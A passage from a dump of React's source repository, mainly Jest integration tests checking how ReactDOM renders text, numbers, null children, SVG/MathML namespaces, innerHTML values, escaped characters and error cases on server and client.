expect(e.querySelector('#language3').textContent).toBe('french');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationElements-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nconst TEXT_NODE_TYPE = 3;\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet assertConsoleErrorDev;\n\nfunction initModules() {\n  jest.resetModules();\n  React = require('react');\n  ReactDOM = require('react-dom');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {\n  resetModules,\n  itRenders,\n  itThrowsWhenRendering,\n  serverRender,\n  streamRender,\n  clientCleanRender,\n  clientRenderOnServerString,\n} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  afterEach(() => {\n    // TODO: This is a hack because expectErrors does not restore mock,\n    // however fixing it requires a major refactor to all these tests.\n    if (console.error.mockClear) {\n      console.error.mockRestore();\n    }\n  });\n\n  describe('elements and children', function () {\n    function expectNode(node, type, value) {\n      expect(node).not.toBe(null);\n      expect(node.nodeType).toBe(type);\n      expect(node.nodeValue).toMatch(value);\n    }\n\n    function expectTextNode(node, text) {\n      expectNode(node, TEXT_NODE_TYPE, text);\n    }\n\n    describe('text children', function () {\n      itRenders('a div with text', async render => {\n        const e = await render(<div>Text</div>);\n        expect(e.tagName).toBe('DIV');\n        expect(e.childNodes.length).toBe(1);\n        expectNode(e.firstChild, TEXT_NODE_TYPE, 'Text');\n      });\n\n      itRenders('a div with text with flanking whitespace', async render => {\n        // prettier-ignore\n        const e = await render(<div>  Text </div>);\n        expect(e.childNodes.length).toBe(1);\n        expectNode(e.childNodes[0], TEXT_NODE_TYPE, '  Text ');\n      });\n\n      itRenders('a div with an empty text child', async render => {\n        const e = await render(<div>{''}</div>);\n        expect(e.childNodes.length).toBe(0);\n      });\n\n      itRenders('a div with multiple empty text children', async render => {\n        const e = await render(\n          <div>\n            {''}\n            {''}\n            {''}\n          </div>,\n        );\n        expect(e.childNodes.length).toBe(0);\n        expect(e.textContent).toBe('');\n      });\n\n      itRenders('a div with multiple whitespace children', async render => {\n        // prettier-ignore\n        const e = await render(<div>{' '}{' '}{' '}</div>);\n        if (\n          render === serverRender ||\n          render === clientRenderOnServerString ||\n          render === streamRender\n        ) {\n          // For plain server markup result we have comments between.\n          // If we're able to hydrate, they remain.\n          expect(e.childNodes.length).toBe(5);\n          expectTextNode(e.childNodes[0], ' ');\n          expectTextNode(e.childNodes[2], ' ');\n          expectTextNode(e.childNodes[4], ' ');\n        } else {\n          expect(e.childNodes.length).toBe(3);\n          expectTextNode(e.childNodes[0], ' ');\n          expectTextNode(e.childNodes[1], ' ');\n          expectTextNode(e.childNodes[2], ' ');\n        }\n      });\n\n      itRenders('a div with text sibling to a node', async render => {\n        const e = await render(\n          <div>\n            Text<span>More Text</span>\n          </div>,\n        );\n        expect(e.childNodes.length).toBe(2);\n        const spanNode = e.childNodes[1];\n        expectTextNode(e.childNodes[0], 'Text');\n        expect(spanNode.tagName).toBe('SPAN');\n        expect(spanNode.childNodes.length).toBe(1);\n        expectNode(spanNode.firstChild, TEXT_NODE_TYPE, 'More Text');\n      });\n\n      itRenders('a non-standard element with text', async render => {\n        // This test suite generally assumes that we get exactly\n        // the same warnings (or none) for all scenarios including\n        // SSR + innerHTML, hydration, and client-side rendering.\n        // However this particular warning fires only when creating\n        // DOM nodes on the client side. We force it to fire early\n        // so that it gets deduplicated later, and doesn't fail the test.\n        ReactDOM.flushSync(() => {\n          const root = ReactDOMClient.createRoot(document.createElement('div'));\n          root.render(<nonstandard />);\n        });\n        assertConsoleErrorDev([\n          'The tag <nonstandard> is unrecognized in this browser. ' +\n            'If you meant to render a React component, start its name with an uppercase letter.\\n' +\n            '    in nonstandard (at **)',\n        ]);\n\n        const e = await render(<nonstandard>Text</nonstandard>);\n        expect(e.tagName).toBe('NONSTANDARD');\n        expect(e.childNodes.length).toBe(1);\n        expectNode(e.firstChild, TEXT_NODE_TYPE, 'Text');\n      });\n\n      itRenders('a custom element with text', async render => {\n        const e = await render(<custom-element>Text</custom-element>);\n        expect(e.tagName).toBe('CUSTOM-ELEMENT');\n        expect(e.childNodes.length).toBe(1);\n        expectNode(e.firstChild, TEXT_NODE_TYPE, 'Text');\n      });\n\n      itRenders('a leading blank child with a text sibling', async render => {\n        const e = await render(<div>{''}foo</div>);\n        expect(e.childNodes.length).toBe(1);\n        expectTextNode(e.childNodes[0], 'foo');\n      });\n\n      itRenders('a trailing blank child with a text sibling', async render => {\n        const e = await render(<div>foo{''}</div>);\n        expect(e.childNodes.length).toBe(1);\n        expectTextNode(e.childNodes[0], 'foo');\n      });\n\n      itRenders('an element with two text children', async render => {\n        const e = await render(\n          <div>\n            {'foo'}\n            {'bar'}\n          </div>,\n        );\n        if (\n          render === serverRender ||\n          render === clientRenderOnServerString ||\n          render === streamRender\n        ) {\n          // In the server render output there's a comment between them.\n          expect(e.childNodes.length).toBe(3);\n          expectTextNode(e.childNodes[0], 'foo');\n          expectTextNode(e.childNodes[2], 'bar');\n        } else {\n          expect(e.childNodes.length).toBe(2);\n          expectTextNode(e.childNodes[0], 'foo');\n          expectTextNode(e.childNodes[1], 'bar');\n        }\n      });\n\n      itRenders(\n        'a component returning text node between two text nodes',\n        async render => {\n          const B = () => 'b';\n          const e = await render(\n            <div>\n              {'a'}\n              <B />\n              {'c'}\n            </div>,\n          );\n          if (\n            render === serverRender ||\n            render === clientRenderOnServerString ||\n            render === streamRender\n          ) {\n            // In the server render output there's a comment between them.\n            expect(e.childNodes.length).toBe(5);\n            expectTextNode(e.childNodes[0], 'a');\n            expectTextNode(e.childNodes[2], 'b');\n            expectTextNode(e.childNodes[4], 'c');\n          } else {\n            expect(e.childNodes.length).toBe(3);\n            expectTextNode(e.childNodes[0], 'a');\n            expectTextNode(e.childNodes[1], 'b');\n            expectTextNode(e.childNodes[2], 'c');\n          }\n        },\n      );\n\n      itRenders('a tree with sibling host and text nodes', async render => {\n        class X extends React.Component {\n          render() {\n            return [null, [<Y key=\"1\" />], false];\n          }\n        }\n\n        function Y() {\n          return [<Z key=\"1\" />, ['c']];\n        }\n\n        function Z() {\n          return null;\n        }\n\n        const e = await render(\n          <div>\n            {[['a'], 'b']}\n            <div>\n              <X key=\"1\" />d\n            </div>\n            e\n          </div>,\n        );\n        if (\n          render === serverRender ||\n          render === streamRender ||\n          render === clientRenderOnServerString\n        ) {\n          // In the server render output there's comments between text nodes.\n          expect(e.childNodes.length).toBe(5);\n          expectTextNode(e.childNodes[0], 'a');\n          expectTextNode(e.childNodes[2], 'b');\n          expect(e.childNodes[3].childNodes.length).toBe(3);\n          expectTextNode(e.childNodes[3].childNodes[0], 'c');\n          expectTextNode(e.childNodes[3].childNodes[2], 'd');\n          expectTextNode(e.childNodes[4], 'e');\n        } else {\n          expect(e.childNodes.length).toBe(4);\n          expectTextNode(e.childNodes[0], 'a');\n          expectTextNode(e.childNodes[1], 'b');\n          expect(e.childNodes[2].childNodes.length).toBe(2);\n          expectTextNode(e.childNodes[2].childNodes[0], 'c');\n          expectTextNode(e.childNodes[2].childNodes[1], 'd');\n          expectTextNode(e.childNodes[3], 'e');\n        }\n      });\n    });\n\n    describe('number children', function () {\n      itRenders('a number as single child', async render => {\n        const e = await render(<div>{3}</div>);\n        expect(e.textContent).toBe('3');\n      });\n\n      // zero is falsey, so it could look like no children if the code isn't careful.\n      itRenders('zero as single child', async render => {\n        const e = await render(<div>{0}</div>);\n        expect(e.textContent).toBe('0');\n      });\n\n      itRenders('an element with number and text children', async render => {\n        const e = await render(\n          <div>\n            {'foo'}\n            {40}\n          </div>,\n        );\n        // with Fiber, there are just two text nodes.\n        if (\n          render === serverRender ||\n          render === clientRenderOnServerString ||\n          render === streamRender\n        ) {\n          // In the server markup there's a comment between.\n          expect(e.childNodes.length).toBe(3);\n          expectTextNode(e.childNodes[0], 'foo');\n          expectTextNode(e.childNodes[2], '40');\n        } else {\n          expect(e.childNodes.length).toBe(2);\n          expectTextNode(e.childNodes[0], 'foo');\n          expectTextNode(e.childNodes[1], '40');\n        }\n      });\n    });\n\n    describe('null, false, and undefined children', function () {\n      itRenders('null single child as blank', async render => {\n        const e = await render(<div>{null}</div>);\n        expect(e.childNodes.length).toBe(0);\n      });\n\n      itRenders('false single child as blank', async render => {\n        const e = await render(<div>{false}</div>);\n        expect(e.childNodes.length).toBe(0);\n      });\n\n      itRenders('undefined single child as blank', async render => {\n        const e = await render(<div>{undefined}</div>);\n        expect(e.childNodes.length).toBe(0);\n      });\n\n      itRenders('a null component children as empty', async render => {\n        const NullComponent = () => null;\n        const e = await render(\n          <div>\n            <NullComponent />\n          </div>,\n        );\n        expect(e.childNodes.length).toBe(0);\n      });\n\n      itRenders('null children as blank', async render => {\n        const e = await render(<div>{null}foo</div>);\n        expect(e.childNodes.length).toBe(1);\n        expectTextNode(e.childNodes[0], 'foo');\n      });\n\n      itRenders('false children as blank', async render => {\n        const e = await render(<div>{false}foo</div>);\n        expect(e.childNodes.length).toBe(1);\n        expectTextNode(e.childNodes[0], 'foo');\n      });\n\n      itRenders('null and false children together as blank', async render => {\n        const e = await render(\n          <div>\n            {false}\n            {null}foo{null}\n            {false}\n          </div>,\n        );\n        expect(e.childNodes.length).toBe(1);\n        expectTextNode(e.childNodes[0], 'foo');\n      });\n\n      itRenders('only null and false children as blank', async render => {\n        const e = await render(\n          <div>\n            {false}\n            {null}\n            {null}\n            {false}\n          </div>,\n        );\n        expect(e.childNodes.length).toBe(0);\n      });\n    });\n\n    describe('elements with implicit namespaces', function () {\n      itRenders('an svg element', async render => {\n        const e = await render(<svg />);\n        expect(e.childNodes.length).toBe(0);\n        expect(e.tagName).toBe('svg');\n        expect(e.namespaceURI).toBe('http://www.w3.org/2000/svg');\n      });\n\n      itRenders('svg child element with an attribute', async render => {\n        const e = await render(<svg viewBox=\"0 0 0 0\" />);\n        expect(e.childNodes.length).toBe(0);\n        expect(e.tagName).toBe('svg');\n        expect(e.namespaceURI).toBe('http://www.w3.org/2000/svg');\n        expect(e.getAttribute('viewBox')).toBe('0 0 0 0');\n      });\n\n      itRenders(\n        'svg child element with a namespace attribute',\n        async render => {\n          let e = await render(\n            <svg>\n              <image xlinkHref=\"http://i.imgur.com/w7GCRPb.png\" />\n            </svg>,\n          );\n          e = e.firstChild;\n          expect(e.childNodes.length).toBe(0);\n          expect(e.tagName).toBe('image');\n          expect(e.namespaceURI).toBe('http://www.w3.org/2000/svg');\n          expect(e.getAttributeNS('http://www.w3.org/1999/xlink', 'href')).toBe(\n            'http://i.imgur.com/w7GCRPb.png',\n          );\n        },\n      );\n\n      itRenders('svg child element with a badly cased alias', async render => {\n        let e = await render(\n          <svg>\n            <image xlinkhref=\"http://i.imgur.com/w7GCRPb.png\" />\n          </svg>,\n          1,\n        );\n        e = e.firstChild;\n        expect(e.hasAttributeNS('http://www.w3.org/1999/xlink', 'href')).toBe(\n          false,\n        );\n        expect(e.getAttribute('xlinkhref')).toBe(\n          'http://i.imgur.com/w7GCRPb.png',\n        );\n      });\n\n      itRenders('svg element with a tabIndex attribute', async render => {\n        const e = await render(<svg tabIndex=\"1\" />);\n        expect(e.tabIndex).toBe(1);\n      });\n\n      itRenders(\n        'svg element with a badly cased tabIndex attribute',\n        async render => {\n          const e = await render(<svg tabindex=\"1\" />, 1);\n          expect(e.tabIndex).toBe(1);\n        },\n      );\n\n      itRenders('svg element with a mixed case name', async render => {\n        let e = await render(\n          <svg>\n            <filter>\n              <feMorphology />\n            </filter>\n          </svg>,\n        );\n        e = e.firstChild.firstChild;\n        expect(e.childNodes.length).toBe(0);\n        expect(e.tagName).toBe('feMorphology');\n        expect(e.namespaceURI).toBe('http://www.w3.org/2000/svg');\n      });\n\n      itRenders('a math element', async render => {\n        const e = await render(<math />);\n        expect(e.childNodes.length).toBe(0);\n        expect(e.tagName).toBe('math');\n        expect(e.namespaceURI).toBe('http://www.w3.org/1998/Math/MathML');\n      });\n    });\n    // specially wrapped components\n    // (see the big switch near the beginning ofReactDOMComponent.mountComponent)\n    itRenders('an img', async render => {\n      const e = await render(<img />);\n      expect(e.childNodes.length).toBe(0);\n      expect(e.nextSibling).toBe(null);\n      expect(e.tagName).toBe('IMG');\n    });\n\n    itRenders('a button', async render => {\n      const e = await render(<button />);\n      expect(e.childNodes.length).toBe(0);\n      expect(e.nextSibling).toBe(null);\n      expect(e.tagName).toBe('BUTTON');\n    });\n\n    itRenders('a div with dangerouslySetInnerHTML number', async render => {\n      // Put dangerouslySetInnerHTML one level deeper because otherwise\n      // hydrating from a bad markup would cause a mismatch (since we don't\n      // patch dangerouslySetInnerHTML as text content).\n      const e = (\n        await render(\n          <div>\n            <span dangerouslySetInnerHTML={{__html: 0}} />\n          </div>,\n        )\n      ).firstChild;\n      expect(e.childNodes.length).toBe(1);\n      expect(e.firstChild.nodeType).toBe(TEXT_NODE_TYPE);\n      expect(e.textContent).toBe('0');\n    });\n\n    itRenders('a div with dangerouslySetInnerHTML boolean', async render => {\n      // Put dangerouslySetInnerHTML one level deeper because otherwise\n      // hydrating from a bad markup would cause a mismatch (since we don't\n      // patch dangerouslySetInnerHTML as text content).\n      const e = (\n        await render(\n          <div>\n            <span dangerouslySetInnerHTML={{__html: false}} />\n          </div>,\n        )\n      ).firstChild;\n      expect(e.childNodes.length).toBe(1);\n      expect(e.firstChild.nodeType).toBe(TEXT_NODE_TYPE);\n      expect(e.firstChild.data).toBe('false');\n    });\n\n    itRenders(\n      'a div with dangerouslySetInnerHTML text string',\n      async render => {\n        // Put dangerouslySetInnerHTML one level deeper because otherwise\n        // hydrating from a bad markup would cause a mismatch (since we don't\n        // patch dangerouslySetInnerHTML as text content).\n        const e = (\n          await render(\n            <div>\n              <span dangerouslySetInnerHTML={{__html: 'hello'}} />\n            </div>,\n          )\n        ).firstChild;\n        expect(e.childNodes.length).toBe(1);\n        expect(e.firstChild.nodeType).toBe(TEXT_NODE_TYPE);\n        expect(e.textContent).toBe('hello');\n      },\n    );\n\n    itRenders(\n      'a div with dangerouslySetInnerHTML element string',\n      async render => {\n        const e = await render(\n          <div dangerouslySetInnerHTML={{__html: \"<span id='child'/>\"}} />,\n        );\n        expect(e.childNodes.length).toBe(1);\n        expect(e.firstChild.tagName).toBe('SPAN');\n        expect(e.firstChild.getAttribute('id')).toBe('child');\n        expect(e.firstChild.childNodes.length).toBe(0);\n      },\n    );\n\n    itRenders('a div with dangerouslySetInnerHTML object', async render => {\n      const obj = {\n        toString() {\n          return \"<span id='child'/>\";\n        },\n      };\n      const e = await render(<div dangerouslySetInnerHTML={{__html: obj}} />);\n      expect(e.childNodes.length).toBe(1);\n      expect(e.firstChild.tagName).toBe('SPAN');\n      expect(e.firstChild.getAttribute('id')).toBe('child');\n      expect(e.firstChild.childNodes.length).toBe(0);\n    });\n\n    itRenders(\n      'a div with dangerouslySetInnerHTML set to null',\n      async render => {\n        const e = await render(\n          <div dangerouslySetInnerHTML={{__html: null}} />,\n        );\n        expect(e.childNodes.length).toBe(0);\n      },\n    );\n\n    itRenders(\n      'a div with dangerouslySetInnerHTML set to undefined',\n      async render => {\n        const e = await render(\n          <div dangerouslySetInnerHTML={{__html: undefined}} />,\n        );\n        expect(e.childNodes.length).toBe(0);\n      },\n    );\n\n    itRenders('a noscript with children', async render => {\n      const e = await render(\n        <noscript>\n          <div>Enable JavaScript to run this app.</div>\n        </noscript>,\n      );\n      if (render === clientCleanRender) {\n        // On the client we ignore the contents of a noscript\n        expect(e.childNodes.length).toBe(0);\n      } else {\n        // On the server or when hydrating the content should be correct\n        expect(e.childNodes.length).toBe(1);\n        expect(e.firstChild.textContent).toBe(\n          '<div>Enable JavaScript to run this app.</div>',\n        );\n      }\n    });\n\n    describe('newline-eating elements', function () {\n      itRenders(\n        'a newline-eating tag with content not starting with \\\\n',\n        async render => {\n          const e = await render(<pre>Hello</pre>);\n          expect(e.textContent).toBe('Hello');\n        },\n      );\n      itRenders(\n        'a newline-eating tag with content starting with \\\\n',\n        async render => {\n          const e = await render(<pre>{'\\nHello'}</pre>);\n          expect(e.textContent).toBe('\\nHello');\n        },\n      );\n      itRenders('a normal tag with content starting with \\\\n', async render => {\n        const e = await render(<div>{'\\nHello'}</div>);\n        expect(e.textContent).toBe('\\nHello');\n      });\n    });\n\n    describe('different component implementations', function () {\n      function checkFooDiv(e) {\n        expect(e.childNodes.length).toBe(1);\n        expectNode(e.firstChild, TEXT_NODE_TYPE, 'foo');\n      }\n\n      itRenders('stateless components', async render => {\n        const FunctionComponent = () => <div>foo</div>;\n        checkFooDiv(await render(<FunctionComponent />));\n      });\n\n      itRenders('ES6 class components', async render => {\n        class ClassComponent extends React.Component {\n          render() {\n            return <div>foo</div>;\n          }\n        }\n        checkFooDiv(await render(<ClassComponent />));\n      });\n\n      itThrowsWhenRendering(\n        'factory components',\n        async render => {\n          const FactoryComponent = () => {\n            return {\n              render: function () {\n                return <div>foo</div>;\n              },\n            };\n          };\n          await render(<FactoryComponent />, 1);\n        },\n        'Objects are not valid as a React child (found: object with keys {render})',\n      );\n    });\n\n    describe('component hierarchies', function () {\n      itRenders('single child hierarchies of components', async render => {\n        const Component = props => <div>{props.children}</div>;\n        let e = await render(\n          <Component>\n            <Component>\n              <Component>\n                <Component />\n              </Component>\n            </Component>\n          </Component>,\n        );\n        for (let i = 0; i < 3; i++) {\n          expect(e.tagName).toBe('DIV');\n          expect(e.childNodes.length).toBe(1);\n          e = e.firstChild;\n        }\n        expect(e.tagName).toBe('DIV');\n        expect(e.childNodes.length).toBe(0);\n      });\n\n      itRenders('multi-child hierarchies of components', async render => {\n        const Component = props => <div>{props.children}</div>;\n        const e = await render(\n          <Component>\n            <Component>\n              <Component />\n              <Component />\n            </Component>\n            <Component>\n              <Component />\n              <Component />\n            </Component>\n          </Component>,\n        );\n        expect(e.tagName).toBe('DIV');\n        expect(e.childNodes.length).toBe(2);\n        for (let i = 0; i < 2; i++) {\n          const child = e.childNodes[i];\n          expect(child.tagName).toBe('DIV');\n          expect(child.childNodes.length).toBe(2);\n          for (let j = 0; j < 2; j++) {\n            const grandchild = child.childNodes[j];\n            expect(grandchild.tagName).toBe('DIV');\n            expect(grandchild.childNodes.length).toBe(0);\n          }\n        }\n      });\n\n      itRenders('a div with a child', async render => {\n        const e = await render(\n          <div id=\"parent\">\n            <div id=\"child\" />\n          </div>,\n        );\n        expect(e.id).toBe('parent');\n        expect(e.childNodes.length).toBe(1);\n        expect(e.childNodes[0].id).toBe('child');\n        expect(e.childNodes[0].childNodes.length).toBe(0);\n      });\n\n      itRenders('a div with multiple children', async render => {\n        const e = await render(\n          <div id=\"parent\">\n            <div id=\"child1\" />\n            <div id=\"child2\" />\n          </div>,\n        );\n        expect(e.id).toBe('parent');\n        expect(e.childNodes.length).toBe(2);\n        expect(e.childNodes[0].id).toBe('child1');\n        expect(e.childNodes[0].childNodes.length).toBe(0);\n        expect(e.childNodes[1].id).toBe('child2');\n        expect(e.childNodes[1].childNodes.length).toBe(0);\n      });\n\n      itRenders(\n        'a div with multiple children separated by whitespace',\n        async render => {\n          const e = await render(\n            <div id=\"parent\">\n              <div id=\"child1\" /> <div id=\"child2\" />\n            </div>,\n          );\n          expect(e.id).toBe('parent');\n          expect(e.childNodes.length).toBe(3);\n          const child1 = e.childNodes[0];\n          const textNode = e.childNodes[1];\n          const child2 = e.childNodes[2];\n          expect(child1.id).toBe('child1');\n          expect(child1.childNodes.length).toBe(0);\n          expectTextNode(textNode, ' ');\n          expect(child2.id).toBe('child2');\n          expect(child2.childNodes.length).toBe(0);\n        },\n      );\n\n      itRenders(\n        'a div with a single child surrounded by whitespace',\n        async render => {\n          // prettier-ignore\n          const e = await render(<div id=\"parent\">  <div id=\"child\" />   </div>);\n          expect(e.childNodes.length).toBe(3);\n          const textNode1 = e.childNodes[0];\n          const child = e.childNodes[1];\n          const textNode2 = e.childNodes[2];\n          expect(e.id).toBe('parent');\n          expectTextNode(textNode1, '  ');\n          expect(child.id).toBe('child');\n          expect(child.childNodes.length).toBe(0);\n          expectTextNode(textNode2, '   ');\n        },\n      );\n\n      itRenders('a composite with multiple children', async render => {\n        const Component = props => props.children;\n        const e = await render(\n          <Component>{['a', 'b', [undefined], [[false, 'c']]]}</Component>,\n        );\n\n        const parent = e.parentNode;\n        if (\n          render === serverRender ||\n          render === clientRenderOnServerString ||\n          render === streamRender\n        ) {\n          // For plain server markup result we have comments between.\n          // If we're able to hydrate, they remain.\n          expect(parent.childNodes.length).toBe(5);\n          expectTextNode(parent.childNodes[0], 'a');\n          expectTextNode(parent.childNodes[2], 'b');\n          expectTextNode(parent.childNodes[4], 'c');\n        } else {\n          expect(parent.childNodes.length).toBe(3);\n          expectTextNode(parent.childNodes[0], 'a');\n          expectTextNode(parent.childNodes[1], 'b');\n          expectTextNode(parent.childNodes[2], 'c');\n        }\n      });\n    });\n\n    describe('escaping >, <, and &', function () {\n      itRenders('>,<, and & as single child', async render => {\n        const e = await render(<div>{'<span>Text&quot;</span>'}</div>);\n        expect(e.childNodes.length).toBe(1);\n        expectNode(e.firstChild, TEXT_NODE_TYPE, '<span>Text&quot;</span>');\n      });\n\n      itRenders('>,<, and & as multiple children', async render => {\n        const e = await render(\n          <div>\n            {'<span>Text1&quot;</span>'}\n            {'<span>Text2&quot;</span>'}\n          </div>,\n        );\n        if (\n          render === serverRender ||\n          render === clientRenderOnServerString ||\n          render === streamRender\n        ) {\n          expect(e.childNodes.length).toBe(3);\n          expectTextNode(e.childNodes[0], '<span>Text1&quot;</span>');\n          expectTextNode(e.childNodes[2], '<span>Text2&quot;</span>');\n        } else {\n          expect(e.childNodes.length).toBe(2);\n          expectTextNode(e.childNodes[0], '<span>Text1&quot;</span>');\n          expectTextNode(e.childNodes[1], '<span>Text2&quot;</span>');\n        }\n      });\n    });\n\n    describe('carriage return and null character', () => {\n      // HTML parsing normalizes CR and CRLF to LF.\n      // It also ignores null character.\n      // https://www.w3.org/TR/html5/single-page.html#preprocessing-the-input-stream\n      // If we have a mismatch, it might be caused by that (and should not be reported).\n      // We won't be patching up in this case as that matches our past behavior.\n\n      itRenders(\n        'an element with one text child with special characters',\n        async render => {\n          const e = await render(<div>{'foo\\rbar\\r\\nbaz\\nqux\\u0000'}</div>);\n          if (\n            render === serverRender ||\n            render === streamRender ||\n            render === clientRenderOnServerString\n          ) {\n            expect(e.childNodes.length).toBe(1);\n            // Everything becomes LF when parsed from server HTML or hydrated.\n            // Null character is ignored.\n            expectNode(e.childNodes[0], TEXT_NODE_TYPE, 'foo\\nbar\\nbaz\\nqux');\n          } else {\n            expect(e.childNodes.length).toBe(1);\n            // Client rendering uses JS value with CR.\n            // Null character stays.\n\n            expectNode(\n              e.childNodes[0],\n              TEXT_NODE_TYPE,\n              'foo\\rbar\\r\\nbaz\\nqux\\u0000',\n            );\n          }\n        },\n      );\n\n      itRenders(\n        'an element with two text children with special characters',\n        async render => {\n          const e = await render(\n            <div>\n              {'foo\\rbar'}\n              {'\\r\\nbaz\\nqux\\u0000'}\n            </div>,\n          );\n          if (\n            render === serverRender ||\n            render === streamRender ||\n            render === clientRenderOnServerString\n          ) {\n            // We have three nodes because there is a comment between them.\n            expect(e.childNodes.length).toBe(3);\n            // Everything becomes LF when parsed from server HTML or hydrated.\n            // Null character is ignored.\n            expectNode(e.childNodes[0], TEXT_NODE_TYPE, 'foo\\nbar');\n            expectNode(e.childNodes[2], TEXT_NODE_TYPE, '\\nbaz\\nqux');\n          } else if (render === clientRenderOnServerString) {\n            // We have three nodes because there is a comment between them.\n            expect(e.childNodes.length).toBe(3);\n            // Hydration uses JS value with CR and null character.\n\n            expectNode(e.childNodes[0], TEXT_NODE_TYPE, 'foo\\rbar');\n            expectNode(e.childNodes[2], TEXT_NODE_TYPE, '\\r\\nbaz\\nqux\\u0000');\n          } else {\n            expect(e.childNodes.length).toBe(2);\n            // Client rendering uses JS value with CR and null character.\n            expectNode(e.childNodes[0], TEXT_NODE_TYPE, 'foo\\rbar');\n            expectNode(e.childNodes[1], TEXT_NODE_TYPE, '\\r\\nbaz\\nqux\\u0000');\n          }\n        },\n      );\n\n      itRenders(\n        'an element with an attribute value with special characters',\n        async render => {\n          const e = await render(<a title={'foo\\rbar\\r\\nbaz\\nqux\\u0000'} />);\n          if (\n            render === serverRender ||\n            render === streamRender ||\n            render === clientRenderOnServerString\n          ) {\n            // Everything becomes LF when parsed from server HTML.\n            // Null character in an attribute becomes the replacement character.\n            // Hydration also ends up with LF because we don't patch up attributes.\n            expect(e.title).toBe('foo\\nbar\\nbaz\\nqux\\uFFFD');\n          } else {\n            // Client rendering uses JS value with CR and null character.\n            expect(e.title).toBe('foo\\rbar\\r\\nbaz\\nqux\\u0000');\n          }\n        },\n      );\n    });\n\n    describe('components that render nullish', function () {\n      itRenders('a function returning null', async render => {\n        const NullComponent = () => null;\n        await render(<NullComponent />);\n      });\n\n      itRenders('a class returning null', async render => {\n        class NullComponent extends React.Component {\n          render() {\n            return null;\n          }\n        }\n        await render(<NullComponent />);\n      });\n\n      itRenders('a function returning undefined', async render => {\n        const UndefinedComponent = () => undefined;\n        await render(<UndefinedComponent />);\n      });\n\n      itRenders('a class returning undefined', async render => {\n        class UndefinedComponent extends React.Component {\n          render() {\n            return undefined;\n          }\n        }\n        await render(<UndefinedComponent />);\n      });\n    });\n\n    describe('components that throw errors', function () {\n      itThrowsWhenRendering(\n        'a function returning an object',\n        async render => {\n          const ObjectComponent = () => ({x: 123});\n          await render(<ObjectComponent />, 1);\n        },\n        'Objects are not valid as a React child (found: object with keys {x}).' +\n          (__DEV__\n            ? ' If you meant to render a collection of children, use ' +\n              'an array instead.'\n            : ''),\n      );\n\n      itThrowsWhenRendering(\n        'a class returning an object',\n        async render => {\n          class ObjectComponent extends React.Component {\n            render() {\n              return {x: 123};\n            }\n          }\n          await render(<ObjectComponent />, 1);\n        },\n        'Objects are not valid as a React child (found: object with keys {x}).' +\n          (__DEV__\n            ? ' If you meant to render a collection of children, use ' +\n              'an array instead.'\n            : ''),\n      );\n\n      itThrowsWhenRendering(\n        'top-level object',\n        async render => {\n          await render({x: 123});\n        },\n        'Objects are not valid as a React child (found: object with keys {x}).' +\n          (__DEV__\n            ? ' If you meant to render a collection of children, use ' +\n              'an array instead.'\n            : ''),\n      );\n    });\n\n    describe('badly-typed elements', function () {\n      itThrowsWhenRendering(\n        'object',\n        async render => {\n          let EmptyComponent = {};\n          EmptyComponent = <EmptyComponent />;\n          await render(EmptyComponent);\n        },\n        'Element type is invalid: expected a string (for built-in components) or a class/function ' +\n          '(for composite components) but got: object.' +\n          (__DEV__\n            ? \" You likely forgot to export your component from the file it's defined in, \" +\n              'or you might have mixed up default and named imports.'\n            : ''),\n      );\n\n      itThrowsWhenRendering(\n        'null',\n        async render => {\n          let NullComponent = null;\n          NullComponent = <NullComponent />;\n          await render(NullComponent);\n        },\n        'Element type is invalid: expected a string (for built-in components) or a class/function ' +\n          '(for composite components) but got: null',\n      );\n\n      itThrowsWhenRendering(\n        'undefined',\n        async render => {\n          let UndefinedComponent = undefined;\n          UndefinedComponent = <UndefinedComponent />;\n          await render(UndefinedComponent);\n        },\n        'Element type is invalid: expected a string (for built-in components) or a class/function ' +\n          '(for composite components) but got: undefined.' +\n          (__DEV__\n            ? \" You likely forgot to export your component from the file it's defined in, \" +\n              'or you might have mixed up default and named imports.'\n            : ''),\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationFragment-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  describe('React.Fragment', () => {\n    itRenders('a fragment with one child', async render => {\n      const e = await render(\n        <>\n          <div>text1</div>\n        </>,\n      );\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n    });\n\n    itRenders('a fragment with several children', async render => {\n      const Header = props => {\n        return <p>header</p>;\n      };\n      const Footer = props => {\n        return (\n          <>\n            <h2>footer</h2>\n            <h3>about</h3>\n          </>\n        );\n      };\n      const e = await render(\n        <>\n          <div>text1</div>\n          <span>text2</span>\n          <Header />\n          <Footer />\n        </>,\n      );\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n      